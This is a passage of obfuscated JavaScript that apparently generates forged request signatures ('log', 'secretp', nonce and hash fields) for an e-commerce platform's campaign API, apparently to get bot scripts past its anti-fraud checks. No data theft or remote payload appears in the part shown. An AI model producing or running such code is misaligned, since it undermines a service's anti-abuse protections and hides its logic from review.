_0x4420fb=[],_0x239f09=0x0,_0x238c64,_0x46a902='',_0x2c41c0='';_0x3cd7b7=atob(_0x3cd7b7);for(var _0xfddccd=0x0,_0x8808ca=_0x3cd7b7['length'];_0xfddccd<_0x8808ca;_0xfddccd++){_0x2c41c0+='%'+('00'+_0x3cd7b7['charCodeAt'](_0xfddccd)['toString'](0x10))['slice'](-0x2);}_0x3cd7b7=decodeURIComponent(_0x2c41c0);for(var _0x335a92=0x0;_0x335a92<0x100;_0x335a92++){_0x4420fb[_0x335a92]=_0x335a92;}for(_0x335a92=0x0;_0x335a92<0x100;_0x335a92++){_0x239f09=(_0x239f09+_0x4420fb[_0x335a92]+_0xf82ddd['charCodeAt'](_0x335a92%_0xf82ddd['length']))%0x100;_0x238c64=_0x4420fb[_0x335a92];_0x4420fb[_0x335a92]=_0x4420fb[_0x239f09];_0x4420fb[_0x239f09]=_0x238c64;}_0x335a92=0x0;_0x239f09=0x0;for(var _0x236fba=0x0;_0x236fba<_0x3cd7b7['length'];_0x236fba++){_0x335a92=(_0x335a92+0x1)%0x100;_0x239f09=(_0x239f09+_0x4420fb[_0x335a92])%0x100;_0x238c64=_0x4420fb[_0x335a92];_0x4420fb[_0x335a92]=_0x4420fb[_0x239f09];_0x4420fb[_0x239f09]=_0x238c64;_0x46a902+=String['fromCharCode'](_0x3cd7b7['charCodeAt'](_0x236fba)^_0x4420fb[(_0x4420fb[_0x335a92]+_0x4420fb[_0x239f09])%0x100]);}return _0x46a902;};_0x5d0f['EvfSsd']=_0x2f0f2e;_0x5d0f['kZTgYH']={};_0x5d0f['JzCYFE']=!![];}var _0x1e162e=_0x5d0f['kZTgYH'][_0x27842b];if(_0x1e162e===undefined){if(_0x5d0f['ttjIbk']===undefined){_0x5d0f['ttjIbk']=!![];}_0x3feb27=_0x5d0f['EvfSsd'](_0x3feb27,_0xf82ddd);_0x5d0f['kZTgYH'][_0x27842b]=_0x3feb27;}else{_0x3feb27=_0x1e162e;}return _0x3feb27;};function randomWord(_0x3cbcd9,_0x208412,_0x2a37b4){var _0x360b19={'coSFR':function(_0x4dfa7b,_0x483edf){return _0x4dfa7b<_0x483edf;},'VOacp':function(_0x29f85b,_0x471a22){return _0x29f85b^_0x471a22;},'cYAKX':function(_0x4607f5,_0x1fe932){return _0x4607f5%_0x1fe932;},'TKRPe':function(_0x5e2494,_0x219d87){return _0x5e2494!==_0x219d87;},'WBjjp':_0x5d0f('0','uKab'),'xuWNa':function(_0x4bde36,_0x4c9b16){return _0x4bde36+_0x4c9b16;},'xYagP':function(_0x41ca2a,_0x9bc70a){return _0x41ca2a-_0x9bc70a;},'jsuBK':function(_0x339931,_0x5667a7){return _0x339931<_0x5667a7;}};let _0x53412f='',_0x163269=_0x208412,_0x3f3a67=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'];if(_0x3cbcd9){if(_0x360b19['TKRPe'](_0x360b19['WBjjp'],_0x360b19[_0x5d0f('1','VkdQ')])){let _0x36d461=[],_0x4329fe,_0x448170=0x0;for(let _0x3166a1=0x0;_0x360b19[_0x5d0f('2','[UVd')](_0x3166a1,time['toString']()[_0x5d0f('3','O3*%')]);_0x3166a1++){_0x448170=_0x3166a1;if(_0x448170>=nonstr['length'])_0x448170-=nonstr[_0x5d0f('4','%iLq')];_0x4329fe=_0x360b19[_0x5d0f('5','M&d@')](time[_0x5d0f('6','pIyP')]()[_0x5d0f('7','%iLq')](_0x3166a1),nonstr[_0x5d0f('8','hL8D')](_0x448170));_0x36d461['push'](_0x360b19[_0x5d0f('9','F]wS')](_0x4329fe,0xa));}return _0x36d461[_0x5d0f('a','UhSj')]()[_0x5d0f('b','Q1q0')](/,/g,'');}else{_0x163269=_0x360b19[_0x5d0f('c','uKab')](Math[_0x5d0f('d','hg0S')](Math['random']()*_0x360b19[_0x5d0f('e',']E&A')](_0x2a37b4,_0x208412)),_0x208412);}}for(let _0x4072f2=0x0;_0x360b19[_0x5d0f('f','h8!g')](_0x4072f2,_0x163269);_0x4072f2++){pos=Math['round'](Math['random']()*(_0x3f3a67['length']-0x1));_0x53412f+=_0x3f3a67[pos];}return _0x53412f;}function minusByByte(_0x2d18ad,_0x3698d9){var _0x263f0d={'lRxqO':function(_0x263dcb,_0x41f220){return _0x263dcb(_0x41f220);},'YNACq':function(_0x5a82a3,_0x154b13){return _0x5a82a3(_0x154b13);},'FLGAS':function(_0x1684d4,_0x5179b4){return _0x1684d4!==_0x5179b4;},'TktEK':function(_0x4d4caa,_0x393715,_0x5dbdd6){return _0x4d4caa(_0x393715,_0x5dbdd6);},'jkOSl':function(_0x137c15,_0x474cba){return _0x137c15<_0x474cba;}};var _0x43b269=_0x2d18ad[_0x5d0f('10','x7xC')],_0x8e7b03=_0x3698d9[_0x5d0f('11',']E&A')],_0x2225c3=Math['max'](_0x43b269,_0x8e7b03),_0x1e3cd9=_0x263f0d[_0x5d0f('12','Zru9')](toAscii,_0x2d18ad),_0x50d743=_0x263f0d[_0x5d0f('13','uF8H')](toAscii,_0x3698d9),_0x35b76c='',_0x5ccab3=0x0;for(_0x263f0d[_0x5d0f('14','X5GX')](_0x43b269,_0x8e7b03)&&(_0x1e3cd9=_0x263f0d['TktEK'](add0,_0x1e3cd9,_0x2225c3),_0x50d743=this['add0'](_0x50d743,_0x2225c3));_0x263f0d[_0x5d0f('15','[UVd')](_0x5ccab3,_0x2225c3);)_0x35b76c+=Math['abs'](_0x1e3cd9[_0x5ccab3]-_0x50d743[_0x5ccab3]),_0x5ccab3++;return _0x35b76c;}function getKey(_0x34f5bd,_0x261c7d){var _0x2459f7={'jfrto':function(_0x4fed75,_0x53bbce){return _0x4fed75*_0x53bbce;},'pyOOK':function(_0x43603c,_0x11bfc1){return _0x43603c<_0x11bfc1;},'HcLbO':function(_0x28fd93,_0x4dc312){return _0x28fd93!==_0x4dc312;},'mxjwC':'KLtcw','nclsN':function(_0x5d917a,_0x111a7a){return _0x5d917a>=_0x111a7a;},'qCuzy':function(_0x5ed516,_0x2b7e48){return _0x5ed516%_0x2b7e48;}};let _0x7777bf=[],_0x47261f,_0x1c2210=0x0;for(let _0x2a87ba=0x0;_0x2459f7['pyOOK'](_0x2a87ba,_0x34f5bd['toString']()[_0x5d0f('16','eb6n')]);_0x2a87ba++){if(_0x2459f7['HcLbO'](_0x2459f7[_0x5d0f('17','g#p(')],_0x2459f7[_0x5d0f('18','UhSj')])){pos=Math[_0x5d0f('19','LiYN')](_0x2459f7['jfrto'](Math['random'](),arr[_0x5d0f('1a','P[[8')]-0x1));str+=arr[pos];}else{_0x1c2210=_0x2a87ba;if(_0x2459f7['nclsN'](_0x1c2210,_0x261c7d[_0x5d0f('1b','mG2*')]))_0x1c2210-=_0x261c7d[_0x5d0f('1c','JUrC')];_0x47261f=_0x34f5bd['toString']()['charCodeAt'](_0x2a87ba)^_0x261c7d[_0x5d0f('1d','wRVw')](_0x1c2210);_0x7777bf[_0x5d0f('1e','^r[Y')](_0x2459f7[_0x5d0f('1f','K&6(')](_0x47261f,0xa));}}return _0x7777bf['toString']()[_0x5d0f('20','67kl')](/,/g,'');}function toAscii(_0x2c430c){var _0x4e8dd6={'dHiSG':function(_0x367444,_0x4d927b){return _0x367444(_0x4d927b);}};var _0xcfa266='';for(var _0x1ca3ab in _0x2c430c){var _0x50cc1f=_0x2c430c[_0x1ca3ab],_0x2be7f9=/[a-zA-Z]/['test'](_0x50cc1f);if(_0x2c430c['hasOwnProperty'](_0x1ca3ab))if(_0x2be7f9)_0xcfa266+=_0x4e8dd6[_0x5d0f('21','wRVw')](getLastAscii,_0x50cc1f);else _0xcfa266+=_0x50cc1f;}return _0xcfa266;}function add0(_0x11ba52,_0x595c1c){var _0x4dd66d={'nPaVH':function(_0x227628,_0x4fb675){return _0x227628+_0x4fb675;},'KYbAd':function(_0x1f585c,_0x599d8f){return _0x1f585c(_0x599d8f);}};return _0x4dd66d[_0x5d0f('22','Q1q0')](_0x4dd66d[_0x5d0f('23','Gw3R')](Array,_0x595c1c)[_0x5d0f('24','X5GX')]('0'),_0x11ba52)[_0x5d0f('25','h8!g')](-_0x595c1c);}function getLastAscii(_0x32faf4){var _0x2a68bb={'RlxdF':function(_0x431d5f,_0x4473b6){return _0x431d5f-_0x4473b6;}};var _0x16a5f1=_0x32faf4[_0x5d0f('26','Zru9')](0x0)['toString']();return _0x16a5f1[_0x2a68bb[_0x5d0f('27','g#p(')](_0x16a5f1[_0x5d0f('28','F]wS')],0x1)];}function wordsToBytes(_0x20a202){var _0x53ac2e={'NsvqU':function(_0x238c73,_0x5b11c5){return _0x238c73<_0x5b11c5;},'GltOo':function(_0x772c34,_0x206b3a){return _0x772c34>>>_0x206b3a;},'SeGte':function(_0x28bc2c,_0xcebd6){return _0x28bc2c-_0xcebd6;}};for(var _0x16976b=[],_0x2d7ece=0x0;_0x53ac2e[_0x5d0f('29','tZeG')](_0x2d7ece,0x20*_0x20a202[_0x5d0f('2a','Gw3R')]);_0x2d7ece+=0x8)_0x16976b['push'](_0x53ac2e['GltOo'](_0x20a202[_0x53ac2e[_0x5d0f('2b','s^4*')](_0x2d7ece,0x5)],_0x53ac2e[_0x5d0f('2c','O3*%')](0x18,_0x2d7ece%0x20))&0xff);return _0x16976b;}function bytesToHex(_0x479043){var _0x925eea={'EkFdf':function(_0x378287,_0xbe528){return _0x378287<_0xbe528;}};for(var _0x38b2e2=[],_0xf9d3e9=0x0;_0x925eea[_0x5d0f('2d','pIyP')](_0xf9d3e9,_0x479043['length']);_0xf9d3e9++)_0x38b2e2[_0x5d0f('1e','^r[Y')]((_0x479043[_0xf9d3e9]>>>0x4)['toString'](0x10)),_0x38b2e2[_0x5d0f('2e','YVDs')]((0xf&_0x479043[_0xf9d3e9])[_0x5d0f('2f','JUrC')](0x10));return _0x38b2e2['join']('');}function stringToBytes(_0xe40c0b){var _0x5e5101={'FtHAp':function(_0x4e135c,_0x21ec62){return _0x4e135c(_0x21ec62);},'WQWEq':function(_0x39776e,_0x5d04b7){return _0x39776e&_0x5d04b7;}};_0xe40c0b=_0x5e5101[_0x5d0f('30','&01^')](unescape,encodeURIComponent(_0xe40c0b));for(var _0x239a82=[],_0x258c76=0x0;_0x258c76<_0xe40c0b[_0x5d0f('31','JM[s')];_0x258c76++)_0x239a82['push'](_0x5e5101[_0x5d0f('32','^r[Y')](0xff,_0xe40c0b[_0x5d0f('33','uF8H')](_0x258c76)));return _0x239a82;}function bytesToWords(_0x3b1795){var _0xc519d={'OwMRS':function(_0x5a69d4,_0x124d80){return _0x5a69d4>>>_0x124d80;}};for(var _0x895b47=[],_0xc8c6eb=0x0,_0x2e6c75=0x0;_0xc8c6eb<_0x3b1795[_0x5d0f('34','Q1q0')];_0xc8c6eb++,_0x2e6c75+=0x8)_0x895b47[_0xc519d['OwMRS'](_0x2e6c75,0x5)]|=_0x3b1795[_0xc8c6eb]<<0x18-_0x2e6c75%0x20;return _0x895b47;}function crc32(_0xea794f){var _0x30732e={'zmtIM':function(_0x4259cd,_0x5e75d6){return _0x4259cd(_0x5e75d6);},'gCCPD':function(_0x31a006,_0x1c822e){return _0x31a006<_0x1c822e;},'jigRi':function(_0x48758b,_0x19e7d6){return _0x48758b>_0x19e7d6;},'bbpOW':function(_0x17b1c4,_0x352e6f){return _0x17b1c4|_0x352e6f;},'bgceJ':function(_0x3ef2b9,_0xa16f05){return _0x3ef2b9>>_0xa16f05;},'QSvit':function(_0x4092a7,_0x8c80b1){return _0x4092a7&_0x8c80b1;},'xcyDl':function(_0x37a27f,_0x25f617){return _0x37a27f!==_0x25f617;},'DrwJU':'YGvVW','nHpeq':function(_0x62be74,_0x73ca78){return _0x62be74<_0x73ca78;},'NFDsZ':function(_0x522734,_0x1173a7){return _0x522734+_0x1173a7;},'yhuyP':function(_0x37358b,_0x55d4bb){return _0x37358b^_0x55d4bb;},'ZoqMW':function(_0xea2fa5,_0x340be6){return _0xea2fa5-_0x340be6;},'fadaF':function(_0x48042d,_0x30b47f){return _0x48042d|_0x30b47f;},'zgdcv':function(_0x5b688b,_0x59aac4){return _0x5b688b<<_0x59aac4;},'jFxmT':function(_0x773039,_0x5bcf2e){return _0x773039>>>_0x5bcf2e;},'HccVF':function(_0x5799b4,_0x5d20c9){return _0x5799b4+_0x5d20c9;},'xDBRb':function(_0x2ffb64,_0x12131b){return _0x2ffb64>>>_0x12131b;},'AWAQK':function(_0x15fc97,_0x28a98a){return _0x15fc97|_0x28a98a;},'QSKJG':function(_0xa52fd6,_0x1a53f5){return _0xa52fd6+_0x1a53f5;},'OiHDK':function(_0xbad72e,_0x4d9656){return _0xbad72e<_0x4d9656;},'ZwiQk':function(_0xfcad03,_0x325625){return _0xfcad03-_0x325625;},'xnSZS':function(_0x571da9,_0x28c73e){return _0x571da9|_0x28c73e;},'ojdDa':function(_0xef2190,_0x3031fd){return _0xef2190&_0x3031fd;},'nOQYx':function(_0x4fcdcd,_0x2f5b45){return _0x4fcdcd^_0x2f5b45;},'TdBCs':function(_0x4631f6,_0x46e48f){return _0x4631f6^_0x46e48f;},'boVDs':function(_0x266493,_0x6e1164){return _0x266493!==_0x6e1164;},'FAuFk':_0x5d0f('35','%iLq'),'exIhF':_0x5d0f('36','79#U'),'uinyc':function(_0x2ff61f,_0x3463d4){return _0x2ff61f>>>_0x3463d4;},'XSbnN':function(_0x2b402a,_0x17d60f){return _0x2b402a>>>_0x17d60f;}};function _0x3f117a(_0x1320f0){_0x1320f0=_0x1320f0[_0x5d0f('37','V(n8')](/\r\n/g,'\x0a');var _0x13b99a='';for(var _0x513ec0=0x0;_0x30732e[_0x5d0f('38','s^4*')](_0x513ec0,_0x1320f0[_0x5d0f('11',']E&A')]);_0x513ec0++){var _0x205ba6=_0x1320f0['charCodeAt'](_0x513ec0);if(_0x30732e[_0x5d0f('39','nSkw')](_0x205ba6,0x80)){_0x13b99a+=String[_0x5d0f('3a','R#my')](_0x205ba6);}else if(_0x30732e['jigRi'](_0x205ba6,0x7f)&&_0x30732e['gCCPD'](_0x205ba6,0x800)){_0x13b99a+=String[_0x5d0f('3b','GbNz')](_0x30732e[_0x5d0f('3c','UhSj')](_0x30732e['bgceJ'](_0x205ba6,0x6),0xc0));_0x13b99a+=String['fromCharCode'](_0x30732e['bbpOW'](_0x30732e[_0x5d0f('3d','x7xC')](_0x205ba6,0x3f),0x80));}else{if(_0x30732e[_0x5d0f('3e','uF8H')](_0x30732e[_0x5d0f('3f','VkdQ')],_0x5d0f('40','Y!D2'))){var _0x443091='';for(var _0x9a89b1 in t){var _0x2829ed=t[_0x9a89b1],_0x6f3e50=/[a-zA-Z]/['test'](_0x2829ed);if(t[_0x5d0f('41','Gw3R')](_0x9a89b1))if(_0x6f3e50)_0x443091+=_0x30732e[_0x5d0f('42','LKK2')](getLastAscii,_0x2829ed);else _0x443091+=_0x2829ed;}return _0x443091;}else{_0x13b99a+=String[_0x5d0f('43','tZeG')](_0x30732e[_0x5d0f('44','JM[s')](_0x205ba6,0xc)|0xe0);_0x13b99a+=String[_0x5d0f('45','eb6n')](_0x30732e[_0x5d0f('46','s^4*')](_0x30732e['bgceJ'](_0x205ba6,0x6)&0x3f,0x80));_0x13b99a+=String[_0x5d0f('47','@w&B')](_0x30732e[_0x5d0f('48','CTFi')](_0x30732e[_0x5d0f('49','P[[8')](_0x205ba6,0x3f),0x80));}}}return _0x13b99a;};_0xea794f=_0x30732e['zmtIM'](_0x3f117a,_0xea794f);var _0x9d2f6e=[0x0,0x77073096,0xee0e612c,0x990951ba,0x76dc419,0x706af48f,0xe963a535,0x9e6495a3,0xedb8832,0x79dcb8a4,0xe0d5e91e,0x97d2d988,0x9b64c2b,0x7eb17cbd,0xe7b82d07,0x90bf1d91,0x1db71064,0x6ab020f2,0xf3b97148,0x84be41de,0x1adad47d,0x6ddde4eb,0xf4d4b551,0x83d385c7,0x136c9856,0x646ba8c0,0xfd62f97a,0x8a65c9ec,0x14015c4f,0x63066cd9,0xfa0f3d63,0x8d080df5,0x3b6e20c8,0x4c69105e,0xd56041e4,0xa2677172,0x3c03e4d1,0x4b04d447,0xd20d85fd,0xa50ab56b,0x35b5a8fa,0x42b2986c,0xdbbbc9d6,0xacbcf940,0x32d86ce3,0x45df5c75,0xdcd60dcf,0xabd13d59,0x26d930ac,0x51de003a,0xc8d75180,0xbfd06116,0x21b4f4b5,0x56b3c423,0xcfba9599,0xb8bda50f,0x2802b89e,0x5f058808,0xc60cd9b2,0xb10be924,0x2f6f7c87,0x58684c11,0xc1611dab,0xb6662d3d,0x76dc4190,0x1db7106,0x98d220bc,0xefd5102a,0x71b18589,0x6b6b51f,0x9fbfe4a5,0xe8b8d433,0x7807c9a2,0xf00f934,0x9609a88e,0xe10e9818,0x7f6a0dbb,0x86d3d2d,0x91646c97,0xe6635c01,0x6b6b51f4,0x1c6c6162,0x856530d8,0xf262004e,0x6c0695ed,0x1b01a57b,0x8208f4c1,0xf50fc457,0x65b0d9c6,0x12b7e950,0x8bbeb8ea,0xfcb9887c,0x62dd1ddf,0x15da2d49,0x8cd37cf3,0xfbd44c65,0x4db26158,0x3ab551ce,0xa3bc0074,0xd4bb30e2,0x4adfa541,0x3dd895d7,0xa4d1c46d,0xd3d6f4fb,0x4369e96a,0x346ed9fc,0xad678846,0xda60b8d0,0x44042d73,0x33031de5,0xaa0a4c5f,0xdd0d7cc9,0x5005713c,0x270241aa,0xbe0b1010,0xc90c2086,0x5768b525,0x206f85b3,0xb966d409,0xce61e49f,0x5edef90e,0x29d9c998,0xb0d09822,0xc7d7a8b4,0x59b33d17,0x2eb40d81,0xb7bd5c3b,0xc0ba6cad,0xedb88320,0x9abfb3b6,0x3b6e20c,0x74b1d29a,0xead54739,0x9dd277af,0x4db2615,0x73dc1683,0xe3630b12,0x94643b84,0xd6d6a3e,0x7a6a5aa8,0xe40ecf0b,0x9309ff9d,0xa00ae27,0x7d079eb1,0xf00f9344,0x8708a3d2,0x1e01f268,0x6906c2fe,0xf762575d,0x806567cb,0x196c3671,0x6e6b06e7,0xfed41b76,0x89d32be0,0x10da7a5a,0x67dd4acc,0xf9b9df6f,0x8ebeeff9,0x17b7be43,0x60b08ed5,0xd6d6a3e8,0xa1d1937e,0x38d8c2c4,0x4fdff252,0xd1bb67f1,0xa6bc5767,0x3fb506dd,0x48b2364b,0xd80d2bda,0xaf0a1b4c,0x36034af6,0x41047a60,0xdf60efc3,0xa867df55,0x316e8eef,0x4669be79,0xcb61b38c,0xbc66831a,0x256fd2a0,0x5268e236,0xcc0c7795,0xbb0b4703,0x220216b9,0x5505262f,0xc5ba3bbe,0xb2bd0b28,0x2bb45a92,0x5cb36a04,0xc2d7ffa7,0xb5d0cf31,0x2cd99e8b,0x5bdeae1d,0x9b64c2b0,0xec63f226,0x756aa39c,0x26d930a,0x9c0906a9,0xeb0e363f,0x72076785,0x5005713,0x95bf4a82,0xe2b87a14,0x7bb12bae,0xcb61b38,0x92d28e9b,0xe5d5be0d,0x7cdcefb7,0xbdbdf21,0x86d3d2d4,0xf1d4e242,0x68ddb3f8,0x1fda836e,0x81be16cd,0xf6b9265b,0x6fb077e1,0x18b74777,0x88085ae6,0xff0f6a70,0x66063bca,0x11010b5c,0x8f659eff,0xf862ae69,0x616bffd3,0x166ccf45,0xa00ae278,0xd70dd2ee,0x4e048354,0x3903b3c2,0xa7672661,0xd06016f7,0x4969474d,0x3e6e77db,0xaed16a4a,0xd9d65adc,0x40df0b66,0x37d83bf0,0xa9bcae53,0xdebb9ec5,0x47b2cf7f,0x30b5ffe9,0xbdbdf21c,0xcabac28a,0x53b39330,0x24b4a3a6,0xbad03605,0xcdd70693,0x54de5729,0x23d967bf,0xb3667a2e,0xc4614ab8,0x5d681b02,0x2a6f2b94,0xb40bbe37,0xc30c8ea1,0x5a05df1b,0x2d02ef8d];var _0x5841e3=0x0;var _0x4135e4=0x0;_0x4135e4=_0x30732e['TdBCs'](_0x4135e4,-0x1);for(var _0x1a9565=0x0,_0x256d01=_0xea794f['length'];_0x30732e[_0x5d0f('4a','&01^')](_0x1a9565,_0x256d01);_0x1a9565++){if(_0x30732e[_0x5d0f('4b','Y!D2')](_0x30732e[_0x5d0f('4c','z(N7')],_0x30732e[_0x5d0f('4d','VkdQ')])){_0x5841e3=_0xea794f[_0x5d0f('4e','mG2*')](_0x1a9565);_0x4135e4=_0x9d2f6e[_0x30732e[_0x5d0f('4f','67kl')](0xff,_0x4135e4^_0x5841e3)]^_0x30732e[_0x5d0f('50','BI(P')](_0x4135e4,0x8);}else{for(var _0x248230=s,_0x4b6bc8=u,_0xb6be9b=c,_0x5a2f3e=f,_0x10817c=h,_0x15a3b9=0x0;_0x30732e['nHpeq'](_0x15a3b9,0x50);_0x15a3b9++){if(_0x30732e[_0x5d0f('51','b^!y')](_0x15a3b9,0x10))a[_0x15a3b9]=e[_0x30732e[_0x5d0f('52','hg0S')](l,_0x15a3b9)];else{var _0x285a5a=_0x30732e[_0x5d0f('53','LKK2')](a[_0x30732e[_0x5d0f('54','JM[s')](_0x15a3b9,0x3)],a[_0x15a3b9-0x8])^a[_0x15a3b9-0xe]^a[_0x15a3b9-0x10];a[_0x15a3b9]=_0x30732e['fadaF'](_0x30732e['zgdcv'](_0x285a5a,0x1),_0x30732e[_0x5d0f('55','BI(P')](_0x285a5a,0x1f));}var _0x17a4dc=_0x30732e[_0x5d0f('56','hL8D')](_0x30732e[_0x5d0f('57','R#my')](_0x30732e[_0x5d0f('58','Q1q0')](s<<0x5,_0x30732e['xDBRb'](s,0x1b))+h,_0x30732e[_0x5d0f('59','hL8D')](a[_0x15a3b9],0x0)),_0x15a3b9<0x14?_0x30732e['HccVF'](0x5a827999,_0x30732e[_0x5d0f('5a','JUrC')](u&c,~u&f)):_0x30732e[_0x5d0f('5b','F]wS')](_0x15a3b9,0x28)?_0x30732e[_0x5d0f('5c','R#my')](0x6ed9eba1,u^c^f):_0x30732e[_0x5d0f('5d','hg0S')](_0x15a3b9,0x3c)?_0x30732e[_0x5d0f('5e','GbNz')](_0x30732e[_0x5d0f('5f','uKab')](_0x30732e[_0x5d0f('60','Q1q0')](u,c),_0x30732e[_0x5d0f('61','O3*%')](u,f))|_0x30732e[_0x5d0f('62','VkdQ')](c,f),0x70e44324):_0x30732e[_0x5d0f('63','uF8H')](_0x30732e[_0x5d0f('64','z(N7')](u,c),f)-0x359d3e2a);h=f,f=c,c=_0x30732e['zgdcv'](u,0x1e)|u>>>0x2,u=s,s=_0x17a4dc;}s+=_0x248230,u+=_0x4b6bc8,c+=_0xb6be9b,f+=_0x5a2f3e,h+=_0x10817c;}}return _0x30732e[_0x5d0f('65','67kl')](_0x30732e[_0x5d0f('66','K&6(')](-0x1,_0x4135e4),0x0);};function getBody(){var _0x5097fd={'UTUpN':function(_0x4e83cc,_0x392a2f){return _0x4e83cc+_0x392a2f;},'UNCnn':function(_0x26a8d8,_0xfb9110){return _0x26a8d8*_0xfb9110;},'wLMhf':function(_0x29b37e,_0x8c909d,_0x54adc9){return _0x29b37e(_0x8c909d,_0x54adc9);},'eotnJ':_0x5d0f('67','M&d@'),'Ltlls':function(_0x514a26,_0x492152){return _0x514a26(_0x492152);},'zAzmm':function(_0x31dd1c,_0x2c879c){return _0x31dd1c+_0x2c879c;},'GvHId':function(_0x10625a,_0x27acc9){return _0x10625a+_0x27acc9;},'ROeip':function(_0x14bd87,_0x4a0a42){return _0x14bd87(_0x4a0a42);},'xlciK':_0x5d0f('68','BwIe')};let _0x4edf03=Math[_0x5d0f('69','JUrC')](_0x5097fd[_0x5d0f('6a','[UVd')](0xf4240,_0x5097fd[_0x5d0f('6b','x7xC')](0x895440,Math['random']())))[_0x5d0f('6c','JM[s')]();let _0x463241=_0x5097fd[_0x5d0f('6d','VkdQ')](randomWord,![],0xa);let _0x1acd72=_0x5097fd['eotnJ'];let _0x186c30=Date[_0x5d0f('6e','Gw3R')]();let _0x2460d2=getKey(_0x186c30,_0x463241);let _0x3a4de6='random='+_0x4edf03+'&token='+_0x1acd72+_0x5d0f('6f','[UVd')+_0x186c30+'&nonce_str='+_0x463241+_0x5d0f('70','s^4*')+_0x2460d2+_0x5d0f('71','eb6n');let _0x35184c=_0x5097fd['Ltlls'](bytesToHex,wordsToBytes(_0x5097fd['Ltlls'](getSign,_0x3a4de6)))[_0x5d0f('72','c74f')]();let _0x46f771=_0x5097fd[_0x5d0f('73','BwIe')](crc32,_0x35184c)['toString'](0x24);_0x46f771=_0x5097fd[_0x5d0f('74','hL8D')](add0,_0x46f771,0x7);_0x35184c=_0x5097fd[_0x5d0f('75','wRVw')](_0x5097fd[_0x5d0f('75','wRVw')](_0x5097fd['UTUpN'](_0x5097fd[_0x5d0f('76','hL8D')](_0x5097fd['UTUpN'](_0x5097fd[_0x5d0f('77','BI(P')](_0x5097fd[_0x5d0f('77','BI(P')](_0x5097fd[_0x5d0f('78','VkdQ')](_0x5097fd['zAzmm'](_0x5097fd[_0x5d0f('79','[UVd')](_0x186c30['toString'](),'~1'),_0x463241),_0x1acd72)+'~4,1~',_0x35184c),'~'),_0x46f771),'~C~'),_0x35184c),'~'),_0x46f771);s=JSON['stringify']({'extraData':{'log':_0x5097fd['ROeip'](encodeURIComponent,_0x35184c),'sceneid':_0x5097fd[_0x5d0f('7a','UhSj')]},'secretp':$.secretp,'random':_0x4edf03[_0x5d0f('7b','Q1q0')]()});return s;}function getSign(_0x5c4631){var _0x5cbfa7={'fsqgu':function(_0x395529,_0x9b51f7){return _0x395529<_0x9b51f7;},'ILBZy':function(_0x3c5984,_0x164881){return _0x3c5984>>>_0x164881;},'qVQuW':function(_0x1131a2,_0x22d676){return _0x1131a2&_0x22d676;},'PzYxf':function(_0x221a16,_0x5aff58){return _0x221a16(_0x5aff58);},'CqEag':function(_0x29fe1d,_0xdaa166){return _0x29fe1d>>_0xdaa166;},'EyjhI':function(_0x4649e6,_0x10a863){return _0x4649e6<<_0x10a863;},'bpWct':function(_0x14779c,_0x21aa12){return _0x14779c-_0x21aa12;},'UzUgF':function(_0x56c5c8,_0x28a564){return _0x56c5c8%_0x28a564;},'Cwncg':function(_0x2ed9b5,_0x24dcca){return _0x2ed9b5+_0x24dcca;},'stmBC':function(_0x318f3e,_0x2299ad){return _0x318f3e<<_0x2299ad;},'cyrCS':_0x5d0f('7c',']E&A'),'dvcWT':function(_0x3e0dfe,_0x5be4e8){return _0x3e0dfe^_0x5be4e8;},'wtRUG':function(_0x4970fd,_0x53ad2a){return _0x4970fd^_0x53ad2a;},'KvGqO':function(_0x202d2e,_0x37a8bb){return _0x202d2e+_0x37a8bb;},'MgAbI':function(_0x5cf9fa,_0xff3512){return _0x5cf9fa|_0xff3512;},'mdUJR':function(_0x5e7edc,_0x59e7a6){return _0x5e7edc^_0x59e7a6;},'rahHa':function(_0x4cc57a,_0x150d0e){return _0x4cc57a|_0x150d0e;},'sTIDb':function(_0x4e546e,_0xf3fcf3){return _0x4e546e|_0xf3fcf3;},'xchFA':function(_0x406afa,_0x22dd82){return _0x406afa&_0x22dd82;},'PqjiU':function(_0x23b683,_0xab957b){return _0x23b683&_0xab957b;}};_0x5c4631=stringToBytes(_0x5c4631);var _0x280f0e=_0x5cbfa7['PzYxf'](bytesToWords,_0x5c4631),_0x50868f=0x8*_0x5c4631['length'],_0x14e96a=[],_0x9d2c54=0x67452301,_0x46e3b3=-0x10325477,_0x566d39=-0x67452302,_0x449b67=0x10325476,_0x9c56c=-0x3c2d1e10;_0x280f0e[_0x5cbfa7[_0x5d0f('7d','h8!g')](_0x50868f,0x5)]|=_0x5cbfa7[_0x5d0f('7e','hL8D')](0x80,_0x5cbfa7[_0x5d0f('7f','Gw3R')](0x18,_0x5cbfa7[_0x5d0f('80','O3*%')](_0x50868f,0x20))),_0x280f0e[_0x5cbfa7[_0x5d0f('81','uKab')](0xf,_0x5cbfa7[_0x5d0f('82','R#my')](_0x5cbfa7[_0x5d0f('83','&01^')](_0x50868f,0x40)>>>0x9,0x4))]=_0x50868f;for(var _0x8bcdb3=0x0;_0x8bcdb3<_0x280f0e['length'];_0x8bcdb3+=0x10){for(var _0x43baf2=_0x9d2c54,_0x4d1431=_0x46e3b3,_0x28709e=_0x566d39,_0x3c6a2f=_0x449b67,_0x26aa9c=_0x9c56c,_0x41cfc2=0x0;_0x41cfc2<0x50;_0x41cfc2++){if(_0x41cfc2<0x10)_0x14e96a[_0x41cfc2]=_0x280f0e[_0x5cbfa7[_0x5d0f('84','JUrC')](_0x8bcdb3,_0x41cfc2)];else{if(_0x5cbfa7['cyrCS']===_0x5cbfa7['cyrCS']){var _0x32561a=_0x5cbfa7['dvcWT'](_0x5cbfa7[_0x5d0f('85','M&d@')](_0x14e96a[_0x5cbfa7[_0x5d0f('86','z(N7')](_0x41cfc2,0x3)],_0x14e96a[_0x5cbfa7[_0x5d0f('87','nSkw')](_0x41cfc2,0x8)])^_0x14e96a[_0x5cbfa7['bpWct'](_0x41cfc2,0xe)],_0x14e96a[_0x5cbfa7[_0x5d0f('88',']E&A')](_0x41cfc2,0x10)]);_0x14e96a[_0x41cfc2]=_0x5cbfa7[_0x5d0f('89','uF8H')](_0x32561a,0x1)|_0x32561a>>>0x1f;}else{for(var 